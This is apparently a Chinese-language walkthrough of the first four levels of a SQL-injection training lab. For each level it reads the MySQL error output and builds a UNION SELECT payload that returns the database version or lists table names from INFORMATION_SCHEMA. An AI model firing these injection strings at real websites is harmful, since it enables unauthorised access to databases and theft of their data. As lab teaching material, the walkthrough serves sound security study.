less-1~4:
都有回显,且回显信息中包含了数据库中的信息。
Less-1:
有回显,输入单引号报错。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
根据报错信息我们可以知道,输入的ID是字符定义的,然后测试查询时有几个字段, 用union查询,经测试有3段,且2,3段会展示用户名和密码
然后构造注入语句:/?id=' union select 1,@@version,3 -- a
可以成功看到版本,后续可以得到库名、表名等。
例:/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a
可以得到所有表名。。
Less-2:
同样的有回显,输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
根据报错信息,得知这里的ID不是字符型了,应该是整数型,构造注入:
/?id=1 and 1=2 union select 1,@@version,3 -- a
Less-3:
输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3 -- a') LIMIT 0,1' at line 1
根据报错,有一个“)”,我们猜测这里的SQL语句应该加了()干扰,所以闭合括号和单引号,构造注入:/?id=') union select 1,@@version,3 -- a得到结果:
Less-4:
这道题试了单引号不会报错,输入反斜杠,反斜杠转移了后面的引号,导致引号不能闭合,报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"\") LIMIT 0,1' at line 1
根据报错信息,这里用的双引号,而且在报错信息中我们发现神奇的括号,想到第三题,这题应该也加了括号干扰,所以接下来就是闭合他们然后union select啦
构造注入:/?id=") union select 1,@@version,3 -- a